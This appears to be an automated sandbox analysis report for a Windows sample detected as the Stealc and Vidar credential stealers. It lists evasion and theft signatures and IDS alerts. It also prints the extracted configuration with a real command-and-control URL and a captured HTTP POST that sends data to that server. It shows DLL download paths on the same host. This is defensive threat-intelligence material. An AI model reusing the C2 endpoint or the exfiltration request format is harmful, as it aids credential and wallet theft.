Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1532508
MD5:	5afb9534ffc28bb96c59668c9196f379
SHA1:	d15b6cf2bd3ab7e53875a6253658f895920f3357
SHA256:	5da526fc89a10ac238522ae3ac5a7b896065d737bee01a9f6cae3bffd08bde67
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse usering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4388 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 5AFB9534FFC28BB96C59668C9196F379)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Threatname: Vidar

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2455507692.0000000000788000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2229140448.0000000004D20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 4388	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 4388	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 4388	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4388	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.f30000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T14:49:15.840934+0200	2044245	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.6	49720	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T14:49:15.704566+0200	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49720	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T14:49:16.067055+0200	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49720	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T14:49:17.277204+0200	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49720	185.215.113.37	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T14:49:16.162982+0200	2044247	1	Malware Command and Control Activity Detected	185.215.113.37	80	192.168.2.6	49720	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T14:49:15.472359+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49720	185.215.113.37	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-13T14:49:17.896200+0200	2803304	3	Unknown Traffic	192.168.2.6	49720	185.215.113.37	80	TCP
2024-10-13T14:49:23.140918+0200	2803304	3	Unknown Traffic	192.168.2.6	49720	185.215.113.37	80	TCP
2024-10-13T14:49:24.221363+0200	2803304	3	Unknown Traffic	192.168.2.6	49720	185.215.113.37	80	TCP
2024-10-13T14:49:24.860553+0200	2803304	3	Unknown Traffic	192.168.2.6	49720	185.215.113.37	80	TCP
2024-10-13T14:49:25.406245+0200	2803304	3	Unknown Traffic	192.168.2.6	49720	185.215.113.37	80	TCP
2024-10-13T14:49:27.118397+0200	2803304	3	Unknown Traffic	192.168.2.6	49720	185.215.113.37	80	TCP
2024-10-13T14:49:27.570360+0200	2803304	3	Unknown Traffic	192.168.2.6	49720	185.215.113.37	80	TCP

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GCBKECAKFBGCAKECGIEHHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 32 43 41 37 38 34 43 39 35 42 33 34 30 37 37 39 30 35 39 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 2d 2d 0d 0a Data Ascii: ------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="hwid"882CA784C95B340779059------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="build"doma------GCBKECAKFBGCAKECGIEH--

Source: file.exe, 00000000.00000002.2455507692.000000000076E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37.com
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/msvcp140.dll4
Source: file.exe, 00000000.00000002.2455507692.00000000007B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.2455507692.00000000007B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/nss3.dllw
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dll0
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/softokn3.dllz
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll%
Source: file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2455507692.00000000007E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2476495545.0000000029501000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php1Q
Source: file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php9P
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php=Q
Source: file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpD
Source: file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpEt
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpIQ
Source: file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpJt
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpQPc
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpV
Source: file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpXt
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpata
Source: file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdll
Source: file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdll7t
Source: file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpdllot
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpmQ
Source: file.exe, 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpom
Source: file.exe, 00000000.00000002.2455507692.00000000007E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phprowser
Source: file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phptt
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpyQK
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2482820786.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2471223421.000000001D5CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2476495545.0000000029563000.00000004.00000020.00020000.00000000.sdmp, AAKJEGCFBGDHJJJJJKJE.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2476495545.0000000029563000.00000004.00000020.00020000.00000000.sdmp, AAKJEGCFBGDHJJJJJKJE.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2476495545.0000000029563000.00000004.00000020.00020000.00000000.sdmp, AAKJEGCFBGDHJJJJJKJE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2476495545.0000000029563000.00000004.00000020.00020000.00000000.sdmp, AAKJEGCFBGDHJJJJJKJE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: AAKJEGCFBGDHJJJJJKJE.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: KJJECGHJDBFIJJJKEHCBFIJJDG.0.dr	String found in binary or memory: https://support.mozilla.org
Source: KJJECGHJDBFIJJJKEHCBFIJJDG.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KJJECGHJDBFIJJJKEHCBFIJJDG.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: file.exe, 00000000.00000002.2476495545.0000000029563000.00000004.00000020.00020000.00000000.sdmp, AAKJEGCFBGDHJJJJJKJE.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: KJJECGHJDBFIJJJKEHCBFIJJDG.0.dr	String found in binary or memory: https://www.mozilla.org
Source: KJJECGHJDBFIJJJKEHCBFIJJDG.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: KJJECGHJDBFIJJJKEHCBFIJJDG.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: KJJECGHJDBFIJJJKEHCBFIJJDG.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: KJJECGHJDBFIJJJKEHCBFIJJDG.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2476495545.0000000029563000.00000004.00000020.00020000.00000000.sdmp, AAKJEGCFBGDHJJJJJKJE.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CB3B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CB3B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB3B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CB3B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CADF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FF977	0_2_012FF977
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_013F19A2	0_2_013F19A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_011E6808	0_2_011E6808
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_012FA868	0_2_012FA868
